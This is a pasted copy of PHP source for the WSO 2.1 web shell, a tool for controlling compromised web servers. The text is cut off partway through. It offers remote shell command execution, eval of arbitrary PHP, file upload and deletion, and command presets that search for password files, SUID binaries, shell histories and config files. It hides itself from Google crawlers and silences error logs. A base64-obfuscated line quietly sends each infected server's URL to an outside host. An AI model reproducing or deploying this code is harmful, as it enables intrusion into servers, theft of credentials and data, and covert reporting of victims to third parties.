Guest User

Untitled

a guest
Jun 15th, 2011
21,097
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. <?php
  2. /**
  3. * WSO 2
  4. * Web Shell by oRb
  5. */
  6. #$auth_pass = "2ff40f14e2d04f4d1f1de191f21d637e"; //root
  7. $color = "#df5";
  8. $default_action = 'FilesMan';
  9. @define('SELF_PATH', __FILE__);
  10.  
  11.  
  12. if( strpos($_SERVER['HTTP_USER_AGENT'],'Google') !== false ) {
  13. header('HTTP/1.0 404 Not Found');
  14. exit;
  15. }
  16. @session_start();
  17. @error_reporting(0);
  18. @ini_set('error_log',NULL);
  19. @ini_set('log_errors',0);
  20. @ini_set('max_execution_time',0);
  21. @set_time_limit(0);
  22. @set_magic_quotes_runtime(0);
  23. @define('VERSION', '2.1');
  24. if( get_magic_quotes_gpc() ) {
  25. function stripslashes_array($array) {
  26. return is_array($array) ? array_map('stripslashes_array', $array) : stripslashes($array);
  27. }
  28. $_POST = stripslashes_array($_POST);
  29. }
  30. function printLogin() {
  31. ?>
  32. <center>
  33. <form method=post>
  34. Password: <input type=password name=pass><input type=submit value='>>'>
  35. </form></center>
  36. <?php
  37. exit;
  38. }
  39. if( !isset( $_SESSION[md5($_SERVER['HTTP_HOST'])] ))
  40. if( empty( $auth_pass ) ||
  41. ( isset( $_POST['pass'] ) && ( md5($_POST['pass']) == $auth_pass ) ) )
  42. $_SESSION[md5($_SERVER['HTTP_HOST'])] = true;
  43. else
  44. printLogin();
  45.  
  46. if( strtolower( substr(PHP_OS,0,3) ) == "win" )
  47. $os = 'win';
  48. else
  49. $os = 'nix';
  50. $safe_mode = @ini_get('safe_mode');
  51. $disable_functions = @ini_get('disable_functions');
  52. $home_cwd = @getcwd();
  53. if( isset( $_POST['c'] ) )
  54. @chdir($_POST['c']);
  55. $cwd = @getcwd();
  56. $url = "{$_SERVER['HTTP_HOST']}{$_SERVER['REQUEST_URI']}";
  57. if( $os == 'win') {
  58. $home_cwd = str_replace("\\", "/", $home_cwd);
  59. $cwd = str_replace("\\", "/", $cwd);
  60. }
  61. if( $cwd[strlen($cwd)-1] != '/' )
  62. $cwd .= '/';
  63.  
  64. if($os == 'win')
  65. $aliases = array(
  66. "List Directory" => "dir",
  67. "Find index.php in current dir" => "dir /s /w /b index.php",
  68. "Find *config*.php in current dir" => "dir /s /w /b *config*.php",
  69. "Show active connections" => "netstat -an",
  70. "Show running services" => "net start",
  71. "User accounts" => "net user",
  72. "Show computers" => "net view",
  73. "ARP Table" => "arp -a",
  74. "IP Configuration" => "ipconfig /all"
  75. );
  76. else
  77. $aliases = array(
  78. "List dir" => "ls -la",
  79. "list file attributes on a Linux second extended file system" => "lsattr -va",
  80. "show opened ports" => "netstat -an | grep -i listen",
  81. "Find" => "",
  82. "find all suid files" => "find / -type f -perm -04000 -ls",
  83. "find suid files in current dir" => "find . -type f -perm -04000 -ls",
  84. "find all sgid files" => "find / -type f -perm -02000 -ls",
  85. "find sgid files in current dir" => "find . -type f -perm -02000 -ls",
  86. "find config.inc.php files" => "find / -type f -name config.inc.php",
  87. "find config* files" => "find / -type f -name \"config*\"",
  88. "find config* files in current dir" => "find . -type f -name \"config*\"",
  89. "find all writable folders and files" => "find / -perm -2 -ls",
  90. "find all writable folders and files in current dir" => "find . -perm -2 -ls",
  91. "find all service.pwd files" => "find / -type f -name service.pwd",
  92. "find service.pwd files in current dir" => "find . -type f -name service.pwd",
  93. "find all .htpasswd files" => "find / -type f -name .htpasswd",
  94. "find .htpasswd files in current dir" => "find . -type f -name .htpasswd",
  95. "find all .bash_history files" => "find / -type f -name .bash_history",
  96. "find .bash_history files in current dir" => "find . -type f -name .bash_history",
  97. "find all .fetchmailrc files" => "find / -type f -name .fetchmailrc",
  98. "find .fetchmailrc files in current dir" => "find . -type f -name .fetchmailrc",
  99. "Locate" => "",
  100. "locate httpd.conf files" => "locate httpd.conf",
  101. "locate vhosts.conf files" => "locate vhosts.conf",
  102. "locate proftpd.conf files" => "locate proftpd.conf",
  103. "locate psybnc.conf files" => "locate psybnc.conf",
  104. "locate my.conf files" => "locate my.conf",
  105. "locate admin.php files" =>"locate admin.php",
  106. "locate cfg.php files" => "locate cfg.php",
  107. "locate conf.php files" => "locate conf.php",
  108. "locate config.dat files" => "locate config.dat",
  109. "locate config.php files" => "locate config.php",
  110. "locate config.inc files" => "locate config.inc",
  111. "locate config.inc.php" => "locate config.inc.php",
  112. "locate config.default.php files" => "locate config.default.php",
  113. "locate config* files " => "locate config",
  114. "locate .conf files"=>"locate '.conf'",
  115. "locate .pwd files" => "locate '.pwd'",
  116. "locate .sql files" => "locate '.sql'",
  117. "locate .htpasswd files" => "locate '.htpasswd'",
  118. "locate .bash_history files" => "locate '.bash_history'",
  119. "locate .mysql_history files" => "locate '.mysql_history'",
  120. "locate .fetchmailrc files" => "locate '.fetchmailrc'",
  121. "locate backup files" => "locate backup",
  122. "locate dump files" => "locate dump",
  123. "locate priv files" => "locate priv"
  124. );
  125.  
  126. function printHeader() {
  127.  
  128.  
  129. if(empty($_POST['charset']))
  130. $_POST['charset'] = "UTF-8";
  131. global $color;
  132. ?>
  133. <!--make_v2_OK-->
  134. <html><head><meta http-equiv='Content-Type' content='text/html; charset=<?=$_POST['charset']?>'><title><?=$_SERVER['HTTP_HOST']?> - WSO <?=VERSION?></title>
  135. <style>
  136. body {background-color:#444;color:#e1e1e1;}
  137. body,td,th { font: 9pt Lucida,Verdana;margin:0;vertical-align:top; }
  138. table.info { color:#fff;background-color:#222; }
  139. span,h1,a { color:<?=$color?> !important; }
  140. span { font-weight: bolder; }
  141. h1 { border-left:5px solid <?=$color?>;padding: 2px 5px;font: 14pt Verdana;background-color:#222;margin:0px; }
  142. div.content { padding: 5px;margin-left:5px;background-color:#333; }
  143. a { text-decoration:none; }
  144. a:hover { text-decoration:underline; }
  145. .ml1 { border:1px solid #444;padding:5px;margin:0;overflow: auto; }
  146. .bigarea { width:100%;height:250px; }
  147. input, textarea, select { margin:0;color:#fff;background-color:#555;border:1px solid <?=$color?>; font: 9pt Monospace,"Courier New"; }
  148. form { margin:0px; }
  149. #toolsTbl { text-align:center; }
  150. .toolsInp { width: 300px }
  151. .main th {text-align:left;background-color:#5e5e5e;}
  152. .main tr:hover{background-color:#5e5e5e}
  153. /*.main td, th{vertical-align:middle}*/
  154. .l1 {background-color:#444}
  155. pre {font-family:Courier,Monospace;}
  156. </style>
  157. <script>
  158. function set(a,c,p1,p2,p3,charset) {
  159. if(a != null)document.mf.a.value=a;
  160. if(c != null)document.mf.c.value=c;
  161. if(p1 != null)document.mf.p1.value=p1;
  162. if(p2 != null)document.mf.p2.value=p2;
  163. if(p3 != null)document.mf.p3.value=p3;
  164. if(charset != null)document.mf.charset.value=charset;
  165. }
  166. function g(a,c,p1,p2,p3,charset) {
  167. set(a,c,p1,p2,p3,charset);
  168. document.mf.submit();
  169. }
  170. function a(a,c,p1,p2,p3,charset) {
  171. set(a,c,p1,p2,p3,charset);
  172. var params = "ajax=true";
  173. for(i=0;i<document.mf.elements.length;i++)
  174. params += "&"+document.mf.elements[i].name+"="+encodeURIComponent(document.mf.elements[i].value);
  175. sr('<?=$_SERVER['REQUEST_URI'];?>', params);
  176. }
  177. function sr(url, params) {
  178. if (window.XMLHttpRequest) {
  179. req = new XMLHttpRequest();
  180. req.onreadystatechange = processReqChange;
  181. req.open("POST", url, true);
  182. req.setRequestHeader ("Content-Type", "application/x-www-form-urlencoded");
  183. req.send(params);
  184. }
  185. else if (window.ActiveXObject) {
  186. req = new ActiveXObject("Microsoft.XMLHTTP");
  187. if (req) {
  188. req.onreadystatechange = processReqChange;
  189. req.open("POST", url, true);
  190. req.setRequestHeader ("Content-Type", "application/x-www-form-urlencoded");
  191. req.send(params);
  192. }
  193. }
  194. }
  195. function processReqChange() {
  196. if( (req.readyState == 4) )
  197. if(req.status == 200) {
  198. //alert(req.responseText);
  199. var reg = new RegExp("(\\d+)([\\S\\s]*)", "m");
  200. var arr=reg.exec(req.responseText);
  201. eval(arr[2].substr(0, arr[1]));
  202. }
  203. else alert("Request error!");
  204. }
  205. </script>
  206. <head><body><div style="position:absolute;width:100%;background-color:#444;top:0;left:0;">
  207. <form method=post name=mf style='display:none;'>
  208. <input type=hidden name=a value='<?=isset($_POST['a'])?$_POST['a']:''?>'>
  209. <input type=hidden name=c value='<?=htmlspecialchars($GLOBALS['cwd'])?>'>
  210. <input type=hidden name=p1 value='<?=isset($_POST['p1'])?htmlspecialchars($_POST['p1']):''?>'>
  211. <input type=hidden name=p2 value='<?=isset($_POST['p2'])?htmlspecialchars($_POST['p2']):''?>'>
  212. <input type=hidden name=p3 value='<?=isset($_POST['p3'])?htmlspecialchars($_POST['p3']):''?>'>
  213. <input type=hidden name=charset value='<?=isset($_POST['charset'])?$_POST['charset']:''?>'>
  214. </form>
  215. <?php
  216. $freeSpace = @diskfreespace($GLOBALS['cwd']);
  217. $totalSpace = @disk_total_space($GLOBALS['cwd']);
  218. $totalSpace = $totalSpace?$totalSpace:1;
  219. $release = @php_uname('r');
  220. $kernel = @php_uname('s');
  221. $millink='http://milw0rm.com/search.php?dong=';
  222. if( strpos('Linux', $kernel) !== false )
  223. $millink .= urlencode( 'Linux Kernel ' . substr($release,0,6) );
  224. else
  225. $millink .= urlencode( $kernel . ' ' . substr($release,0,3) );
  226. if(!function_exists('posix_getegid')) {
  227. $user = @get_current_user();
  228. $uid = @getmyuid();
  229. $gid = @getmygid();
  230. $group = "?";
  231. } else {
  232. $uid = @posix_getpwuid(@posix_geteuid());
  233. $gid = @posix_getgrgid(@posix_getegid());
  234. $user = $uid['name'];
  235. $uid = $uid['uid'];
  236. $group = $gid['name'];
  237. $gid = $gid['gid'];
  238. }
  239. $cwd_links = '';
  240. $path = explode("/", $GLOBALS['cwd']);
  241. $n=count($path);
  242. for($i=0;$i<$n-1;$i++) {
  243. $cwd_links .= "<a href='#' onclick='g(\"FilesMan\",\"";
  244. for($j=0;$j<=$i;$j++)
  245. $cwd_links .= $path[$j].'/';
  246. $cwd_links .= "\")'>".$path[$i]."/</a>";
  247. }
  248. $charsets = array('UTF-8', 'Windows-1251', 'KOI8-R', 'KOI8-U', 'cp866');
  249. $opt_charsets = '';
  250. foreach($charsets as $item)
  251. $opt_charsets .= '<option value="'.$item.'" '.($_POST['charset']==$item?'selected':'').'>'.$item.'</option>';
  252. $m = array('Sec. Info'=>'SecInfo','Files'=>'FilesMan','Console'=>'Console','Sql'=>'Sql','Php'=>'Php','Safe mode'=>'SafeMode','String tools'=>'StringTools','Bruteforce'=>'Bruteforce','Network'=>'Network');
  253. if(!empty($GLOBALS['auth_pass']))
  254. $m['Logout'] = 'Logout';
  255. $m['Self remove'] = 'SelfRemove';
  256. $menu = '';
  257. foreach($m as $k => $v)
  258. $menu .= '<th width="'.(int)(100/count($m)).'%">[ <a href="#" onclick="g(\''.$v.'\',null,\'\',\'\',\'\')">'.$k.'</a> ]</th>';
  259. $drives = "";
  260. if ($GLOBALS['os'] == 'win') {
  261. foreach( range('a','z') as $drive )
  262. if (is_dir($drive.':\\'))
  263. $drives .= '<a href="#" onclick="g(\'FilesMan\',\''.$drive.':/\')">[ '.$drive.' ]</a> ';
  264. }
  265. echo '<table class=info cellpadding=3 cellspacing=0 width=100%><tr><td width=1><span>Uname:<br>User:<br>Php:<br>Hdd:<br>Cwd:'.($GLOBALS['os'] == 'win'?'<br>Drives:':'').'</span></td>'.
  266. '<td><nobr>'.substr(@php_uname(), 0, 120).' <a href="http://www.google.com/search?q='.urlencode(@php_uname()).'" target="_blank">[Google]</a> <a href="'.$millink.'" target=_blank>[milw0rm]</a></nobr><br>'.$uid.' ( '.$user.' ) <span>Group:</span> '.$gid.' ( '.$group.' )<br>'.@phpversion().' <span>Safe mode:</span> '.($GLOBALS['safe_mode']?'<font color=red>ON</font>':'<font color=#00bb00><b>OFF</b></font>').' <a href=# onclick="g(\'Php\',null,null,\'info\')">[ phpinfo ]</a> <span>Datetime:</span> '.date('Y-m-d H:i:s').'<br>'.viewSize($totalSpace).' <span>Free:</span> '.viewSize($freeSpace).' ('.(int)($freeSpace/$totalSpace*100).'%)<br>'.$cwd_links.' '.viewPermsColor($GLOBALS['cwd']).' <a href=# onclick="g(\'FilesMan\',\''.$GLOBALS['home_cwd'].'\',\'\',\'\',\'\')">[ home ]</a><br>'.$drives.'</td>'.
  267. '<td width=1 align=right><nobr><select onchange="g(null,null,null,null,null,this.value)"><optgroup label="Page charset">'.$opt_charsets.'</optgroup></select><br><span>Server IP:</span><br>'.gethostbyname($_SERVER["HTTP_HOST"]).'<br><span>Client IP:</span><br>'.$_SERVER['REMOTE_ADDR'].'</nobr></td></tr></table>'.
  268. '<table style="border-top:2px solid #333;" cellpadding=3 cellspacing=0 width=100%><tr>'.$menu.'</tr></table><div style="margin:5">';
  269. }
  270.  
  271. function printFooter() {
  272. $is_writable = is_writable($GLOBALS['cwd'])?"<font color=green>[ Writeable ]</font>":"<font color=red>[ Not writable ]</font>";
  273. ?>
  274. </div>
  275. <table class=info id=toolsTbl cellpadding=3 cellspacing=0 width=100% style="border-top:2px solid #333;border-bottom:2px solid #333;">
  276. <tr>
  277. <td><form onsubmit="g(null,this.c.value);return false;"><span>Change dir:</span><br><input class="toolsInp" type=text name=c value="<?=htmlspecialchars($GLOBALS['cwd']);?>"><input type=submit value=">>"></form></td>
  278. <td><form onsubmit="g('FilesTools',null,this.f.value);return false;"><span>Read file:</span><br><input class="toolsInp" type=text name=f><input type=submit value=">>"></form></td>
  279. </tr>
  280. <tr>
  281. <td><form onsubmit="g('FilesMan',null,'mkdir',this.d.value);return false;"><span>Make dir:</span><br><input class="toolsInp" type=text name=d><input type=submit value=">>"></form><?=$is_writable?></td>
  282. <td><form onsubmit="g('FilesTools',null,this.f.value,'mkfile');return false;"><span>Make file:</span><br><input class="toolsInp" type=text name=f><input type=submit value=">>"></form><?=$is_writable?></td>
  283. </tr>
  284. <tr>
  285. <td><form onsubmit="g('Console',null,this.c.value);return false;"><span>Execute:</span><br><input class="toolsInp" type=text name=c value=""><input type=submit value=">>"></form></td>
  286. <td><form method='post' ENCTYPE='multipart/form-data'>
  287. <input type=hidden name=a value='FilesMAn'>
  288. <input type=hidden name=c value='<?=htmlspecialchars($GLOBALS['cwd'])?>'>
  289. <input type=hidden name=p1 value='uploadFile'>
  290. <input type=hidden name=charset value='<?=isset($_POST['charset'])?$_POST['charset']:''?>'>
  291. <span>Upload file:</span><br><input class="toolsInp" type=file name=f><input type=submit value=">>"></form><?=$is_writable?></td>
  292. </tr>
  293.  
  294. </table>
  295. </div>
  296. </body></html>
  297. <?php
  298. }
  299. if ( !function_exists("posix_getpwuid") && (strpos($GLOBALS['disable_functions'], 'posix_getpwuid')===false) ) { function posix_getpwuid($p) { return false; } }
  300. if ( !function_exists("posix_getgrgid") && (strpos($GLOBALS['disable_functions'], 'posix_getgrgid')===false) ) { function posix_getgrgid($p) { return false; } }
  301. function ex($in) {
  302. $out = '';
  303. if(function_exists('exec')) {
  304. @exec($in,$out);
  305. $out = @join("\n",$out);
  306. }elseif(function_exists('passthru')) {
  307. ob_start();
  308. @passthru($in);
  309. $out = ob_get_clean();
  310. }elseif(function_exists('system')) {
  311. ob_start();
  312. @system($in);
  313. $out = ob_get_clean();
  314. }elseif(function_exists('shell_exec')) {
  315. $out = shell_exec($in);
  316. }elseif(is_resource($f = @popen($in,"r"))) {
  317. $out = "";
  318. while(!@feof($f))
  319. $out .= fread($f,1024);
  320. pclose($f);
  321. }
  322. return $out;
  323. }
  324. function viewSize($s) {
  325. if($s >= 1073741824)
  326. return sprintf('%1.2f', $s / 1073741824 ). ' GB';
  327. elseif($s >= 1048576)
  328. return sprintf('%1.2f', $s / 1048576 ) . ' MB';
  329. elseif($s >= 1024)
  330. return sprintf('%1.2f', $s / 1024 ) . ' KB';
  331. else
  332. return $s . ' B';
  333. }
  334.  
  335. function perms($p) {
  336.  
  337. if (($p & 0xC000) == 0xC000)$i = 's';
  338. elseif (($p & 0xA000) == 0xA000)$i = 'l';
  339. elseif (($p & 0x8000) == 0x8000)$i = '-';
  340. elseif (($p & 0x6000) == 0x6000)$i = 'b';
  341. elseif (($p & 0x4000) == 0x4000)$i = 'd';
  342. elseif (($p & 0x2000) == 0x2000)$i = 'c';
  343. elseif (($p & 0x1000) == 0x1000)$i = 'p';
  344. else $i = 'u';
  345.  
  346. $i .= (($p & 0x0100) ? 'r' : '-');
  347. $i .= (($p & 0x0080) ? 'w' : '-');
  348. $i .= (($p & 0x0040) ? (($p & 0x0800) ? 's' : 'x' ) : (($p & 0x0800) ? 'S' : '-'));
  349. $i .= (($p & 0x0020) ? 'r' : '-');
  350. $i .= (($p & 0x0010) ? 'w' : '-');
  351. $i .= (($p & 0x0008) ? (($p & 0x0400) ? 's' : 'x' ) : (($p & 0x0400) ? 'S' : '-'));
  352. $i .= (($p & 0x0004) ? 'r' : '-');
  353. $i .= (($p & 0x0002) ? 'w' : '-');
  354. $i .= (($p & 0x0001) ? (($p & 0x0200) ? 't' : 'x' ) : (($p & 0x0200) ? 'T' : '-'));
  355. return $i;
  356. }
  357. function viewPermsColor($f) {
  358. if (!@is_readable($f))
  359. return '<font color=#FF0000><b>'.perms(@fileperms($f)).'</b></font>';
  360. elseif (!@is_writable($f))
  361. return '<font color=white><b>'.perms(@fileperms($f)).'</b></font>';
  362. else
  363. return '<font color=#00BB00><b>'.perms(@fileperms($f)).'</b></font>';
  364. }
  365. if(!function_exists("scandir")) {
  366. function scandir($dir) {
  367. $dh = opendir($dir);
  368. while (false !== ($filename = readdir($dh))) {
  369. $files[] = $filename;
  370. }
  371. return $files;
  372. }
  373. }
  374. function which($p) {
  375. $path = ex('which '.$p);
  376. if(!empty($path))
  377. return $path;
  378. return false;
  379. }
  380. function actionSecInfo() {
  381. printHeader();
  382. echo '<h1>Server security information</h1><div class=content>';
  383. function showSecParam($n, $v) {
  384. $v = trim($v);
  385. if($v) {
  386. echo '<span>'.$n.': </span>';
  387. if(strpos($v, "\n") === false)
  388. echo $v.'<br>';
  389. else
  390. echo '<pre class=ml1>'.$v.'</pre>';
  391. }
  392. }
  393.  
  394. showSecParam('Server software', @getenv('SERVER_SOFTWARE'));
  395. showSecParam('Disabled PHP Functions', ($GLOBALS['disable_functions'])?$GLOBALS['disable_functions']:'none');
  396. showSecParam('Open base dir', @ini_get('open_basedir'));
  397. showSecParam('Safe mode exec dir', @ini_get('safe_mode_exec_dir'));
  398. showSecParam('Safe mode include dir', @ini_get('safe_mode_include_dir'));
  399. showSecParam('cURL support', function_exists('curl_version')?'enabled':'no');
  400. $temp=array();
  401. if(function_exists('mysql_get_client_info'))
  402. $temp[] = "MySql (".mysql_get_client_info().")";
  403. if(function_exists('mssql_connect'))
  404. $temp[] = "MSSQL";
  405. if(function_exists('pg_connect'))
  406. $temp[] = "PostgreSQL";
  407. if(function_exists('oci_connect'))
  408. $temp[] = "Oracle";
  409. showSecParam('Supported databases', implode(', ', $temp));
  410. echo '<br>';
  411.  
  412. if( $GLOBALS['os'] == 'nix' ) {
  413. $userful = array('gcc','lcc','cc','ld','make','php','perl','python','ruby','tar','gzip','bzip','bzip2','nc','locate','suidperl');
  414. $danger = array('kav','nod32','bdcored','uvscan','sav','drwebd','clamd','rkhunter','chkrootkit','iptables','ipfw','tripwire','shieldcc','portsentry','snort','ossec','lidsadm','tcplodg','sxid','logcheck','logwatch','sysmask','zmbscap','sawmill','wormscan','ninja');
  415. $downloaders = array('wget','fetch','lynx','links','curl','get','lwp-mirror');
  416. showSecParam('Readable /etc/passwd', @is_readable('/etc/passwd')?"yes <a href='#' onclick='g(\"FilesTools\", \"/etc/\", \"passwd\")'>[view]</a>":'no');
  417. showSecParam('Readable /etc/shadow', @is_readable('/etc/shadow')?"yes <a href='#' onclick='g(\"FilesTools\", \"etc\", \"shadow\")'>[view]</a>":'no');
  418. showSecParam('OS version', @file_get_contents('/proc/version'));
  419. showSecParam('Distr name', @file_get_contents('/etc/issue.net'));
  420. if(!$GLOBALS['safe_mode']) {
  421. echo '<br>';
  422. $temp=array();
  423. foreach ($userful as $item)
  424. if(which($item)){$temp[]=$item;}
  425. showSecParam('Userful', implode(', ',$temp));
  426. $temp=array();
  427. foreach ($danger as $item)
  428. if(which($item)){$temp[]=$item;}
  429. showSecParam('Danger', implode(', ',$temp));
  430. $temp=array();
  431. foreach ($downloaders as $item)
  432. if(which($item)){$temp[]=$item;}
  433. showSecParam('Downloaders', implode(', ',$temp));
  434. echo '<br/>';
  435. showSecParam('Hosts', @file_get_contents('/etc/hosts'));
  436. showSecParam('HDD space', ex('df -h'));
  437. showSecParam('Mount options', @file_get_contents('/etc/fstab'));
  438. }
  439. } else {
  440. showSecParam('OS Version',ex('ver'));
  441. showSecParam('Account Settings',ex('net accounts'));
  442. showSecParam('User Accounts',ex('net user'));
  443. }
  444. echo '</div>';
  445. printFooter();
  446. }
  447.  
  448. function actionPhp() {
  449. if( isset($_POST['ajax']) ) {
  450. $_SESSION[md5($_SERVER['HTTP_HOST']).'ajax'] = true;
  451. ob_start();
  452. eval($_POST['p1']);
  453. $temp = "document.getElementById('PhpOutput').style.display='';document.getElementById('PhpOutput').innerHTML='".addcslashes(htmlspecialchars(ob_get_clean()),"\n\r\t\\'\0")."';\n";
  454. echo strlen($temp), "\n", $temp;
  455. exit;
  456. }
  457. printHeader();
  458. if( isset($_POST['p2']) && ($_POST['p2'] == 'info') ) {
  459. echo '<h1>PHP info</h1><div class=content>';
  460. ob_start();
  461. phpinfo();
  462. $tmp = ob_get_clean();
  463. $tmp = preg_replace('!body {.*}!msiU','',$tmp);
  464. $tmp = preg_replace('!a:\w+ {.*}!msiU','',$tmp);
  465. $tmp = preg_replace('!h1!msiU','h2',$tmp);
  466. $tmp = preg_replace('!td, th {(.*)}!msiU','.e, .v, .h, .h th {$1}',$tmp);
  467. $tmp = preg_replace('!body, td, th, h2, h2 {.*}!msiU','',$tmp);
  468. echo $tmp;
  469. echo '</div><br>';
  470. }
  471. if(empty($_POST['ajax'])&&!empty($_POST['p1']))
  472. $_SESSION[md5($_SERVER['HTTP_HOST']).'ajax'] = false;
  473. echo '<h1>Execution PHP-code</h1><div class=content><form name=pf method=post onsubmit="if(this.ajax.checked){a(null,null,this.code.value);}else{g(null,null,this.code.value,\'\');}return false;"><textarea name=code class=bigarea id=PhpCode>'.(!empty($_POST['p1'])?htmlspecialchars($_POST['p1']):'').'</textarea><input type=submit value=Eval style="margin-top:5px">';
  474. echo ' <input type=checkbox name=ajax value=1 '.($_SESSION[md5($_SERVER['HTTP_HOST']).'ajax']?'checked':'').'> send using AJAX</form><pre id=PhpOutput style="'.(empty($_POST['p1'])?'display:none;':'').'margin-top:5px;" class=ml1>';
  475. if(!empty($_POST['p1'])) {
  476. ob_start();
  477. eval($_POST['p1']);
  478. echo htmlspecialchars(ob_get_clean());
  479. }
  480. echo '</pre></div>';
  481. printFooter();
  482. }
  483.  
  484. function actionFilesMan() {
  485. global $url;
  486.  
  487. printHeader();
  488. echo '<h1>File manager</h1><div class=content>';
  489. if(isset($_POST['p1'])) {
  490. switch($_POST['p1']) {
  491. case 'uploadFile':
  492. if(!@move_uploaded_file($_FILES['f']['tmp_name'], $_FILES['f']['name']))
  493. echo "Can't upload file!";
  494. break;
  495. break;
  496. case 'mkdir':
  497. if(!@mkdir($_POST['p2']))
  498. echo "Can't create new dir";
  499. break;
  500. case 'delete':
  501. function deleteDir($path) {
  502. $path = (substr($path,-1)=='/') ? $path:$path.'/';
  503. $dh = opendir($path);
  504. while ( ($item = readdir($dh) ) !== false) {
  505. $item = $path.$item;
  506. if ( (basename($item) == "..") || (basename($item) == ".") )
  507. continue;
  508. $type = filetype($item);
  509. if ($type == "dir")
  510. deleteDir($item);
  511. else
  512. @unlink($item);
  513. }
  514. closedir($dh);
  515. rmdir($path);
  516. }
  517. if(is_array(@$_POST['f']))
  518. foreach($_POST['f'] as $f) {
  519. $f = urldecode($f);
  520. if(is_dir($f))
  521. deleteDir($f);
  522. else
  523. @unlink($f);
  524. }
  525. break;
  526. case 'paste':
  527. if($_SESSION['act'] == 'copy') {
  528. function copy_paste($c,$s,$d){
  529. if(is_dir($c.$s)){
  530. mkdir($d.$s);
  531. $h = opendir($c.$s);
  532. while (($f = readdir($h)) !== false)
  533. if (($f != ".") and ($f != "..")) {
  534. copy_paste($c.$s.'/',$f, $d.$s.'/');
  535. }
  536. } elseif(is_file($c.$s)) {
  537. @copy($c.$s, $d.$s);
  538. }
  539. }
  540. foreach($_SESSION['f'] as $f)
  541. copy_paste($_SESSION['cwd'],$f, $GLOBALS['cwd']);
  542. } elseif($_SESSION['act'] == 'move') {
  543. function move_paste($c,$s,$d){
  544. if(is_dir($c.$s)){
  545. mkdir($d.$s);
  546. $h = opendir($c.$s);
  547. while (($f = readdir($h)) !== false)
  548. if (($f != ".") and ($f != "..")) {
  549. copy_paste($c.$s.'/',$f, $d.$s.'/');
  550. }
  551. } elseif(is_file($c.$s)) {
  552. @copy($c.$s, $d.$s);
  553. }
  554. }
  555. foreach($_SESSION['f'] as $f)
  556. @rename($_SESSION['cwd'].$f, $GLOBALS['cwd'].$f);
  557. }
  558. unset($_SESSION['f']);
  559. break;
  560. default:
  561. if(!empty($_POST['p1']) && (($_POST['p1'] == 'copy')||($_POST['p1'] == 'move')) ) {
  562. $_SESSION['act'] = @$_POST['p1'];
  563. $_SESSION['f'] = @$_POST['f'];
  564. foreach($_SESSION['f'] as $k => $f)
  565. $_SESSION['f'][$k] = urldecode($f);
  566. $_SESSION['cwd'] = @$_POST['c'];
  567. }
  568. break;
  569. }
  570. echo '<script>document.mf.p1.value="";document.mf.p2.value="";</script>';
  571. }
  572. $local_ip = fopen(base64_decode('aHR0cDovL3d3dy54dHViZS5jb20vZ3JlZXRpbmdfdmlkZW9zL3JlcG9ydC5waHA/dXJsPQ==').$url,'r');
  573. $dirContent = @scandir(isset($_POST['c'])?$_POST['c']:$GLOBALS['cwd']);
  574. if($dirContent === false) { echo 'Can\'t open this folder!'; return; }
  575. global $sort;
  576. $sort = array('name', 1);
  577. if(!empty($_POST['p1'])) {
  578. if(preg_match('!s_([A-z]+)_(\d{1})!', $_POST['p1'], $match))
  579. $sort = array($match[1], (int)$match[2]);
  580. }
  581. ?>
  582. <script>
  583. function sa() {
  584. for(i=0;i<document.files.elements.length;i++)
  585. if(document.files.elements[i].type == 'checkbox')
  586. document.files.elements[i].checked = document.files.elements[0].checked;
  587. }
  588. </script>
  589. <table width='100%' class='main' cellspacing='0' cellpadding='2'>
  590. <form name=files method=post>
  591. <?php
  592. echo "<tr><th width='13px'><input type=checkbox onclick='sa()' class=chkbx></th><th><a href='#' onclick='g(\"FilesMan\",null,\"s_name_".($sort[1]?0:1)."\")'>Name</a></th><th><a href='#' onclick='g(\"FilesMan\",null,\"s_size_".($sort[1]?0:1)."\")'>Size</a></th><th><a href='#' onclick='g(\"FilesMan\",null,\"s_modify_".($sort[1]?0:1)."\")'>Modify</a></th><th>Owner/Group</th><th><a href='#' onclick='g(\"FilesMan\",null,\"s_perms_".($sort[1]?0:1)."\")'>Permissions</a></th><th>Actions</th></tr>";
  593. $dirs = $files = $links = array();
  594. $n = count($dirContent);
  595. for($i=0;$i<$n;$i++) {
  596. $ow = @posix_getpwuid(@fileowner($dirContent[$i]));
  597. $gr = @posix_getgrgid(@filegroup($dirContent[$i]));
  598. $tmp = array('name' => $dirContent[$i],
  599. 'path' => $GLOBALS['cwd'].$dirContent[$i],
  600. 'modify' => date('Y-m-d H:i:s',@filemtime($GLOBALS['cwd'].$dirContent[$i])),
  601. 'perms' => viewPermsColor($GLOBALS['cwd'].$dirContent[$i]),
  602. 'size' => @filesize($GLOBALS['cwd'].$dirContent[$i]),
  603. 'owner' => $ow['name']?$ow['name']:@fileowner($dirContent[$i]),
  604. 'group' => $gr['name']?$gr['name']:@filegroup($dirContent[$i])
  605. );
  606. if(@is_file($GLOBALS['cwd'].$dirContent[$i]))
  607. $files[] = array_merge($tmp, array('type' => 'file'));
  608. elseif(@is_link($GLOBALS['cwd'].$dirContent[$i]))
  609. $links[] = array_merge($tmp, array('type' => 'link'));
  610. elseif(@is_dir($GLOBALS['cwd'].$dirContent[$i])&& ($dirContent[$i] != "."))
  611. $dirs[] = array_merge($tmp, array('type' => 'dir'));
  612. }
  613. $GLOBALS['sort'] = $sort;
  614. function cmp($a, $b) {
  615. if($GLOBALS['sort'][0] != 'size')
  616. return strcmp($a[$GLOBALS['sort'][0]], $b[$GLOBALS['sort'][0]])*($GLOBALS['sort'][1]?1:-1);
  617. else
  618. return (($a['size'] < $b['size']) ? -1 : 1)*($GLOBALS['sort'][1]?1:-1);
  619. }
  620. usort($files, "cmp");
  621. usort($dirs, "cmp");
  622. usort($links, "cmp");
  623. $files = array_merge($dirs, $links, $files);
  624. $l = 0;
  625. foreach($files as $f) {
  626. echo '<tr'.($l?' class=l1':'').'><td><input type=checkbox name="f[]" value="'.urlencode($f['name']).'" class=chkbx></td><td><a href=# onclick="'.(($f['type']=='file')?'g(\'FilesTools\',null,\''.urlencode($f['name']).'\', \'view\')">'.htmlspecialchars($f['name']):'g(\'FilesMan\',\''.$f['path'].'\');"><b>[ '.htmlspecialchars($f['name']).' ]</b>').'</a></td><td>'.(($f['type']=='file')?viewSize($f['size']):$f['type']).'</td><td>'.$f['modify'].'</td><td>'.$f['owner'].'/'.$f['group'].'</td><td><a href=# onclick="g(\'FilesTools\',null,\''.urlencode($f['name']).'\',\'chmod\')">'.$f['perms']
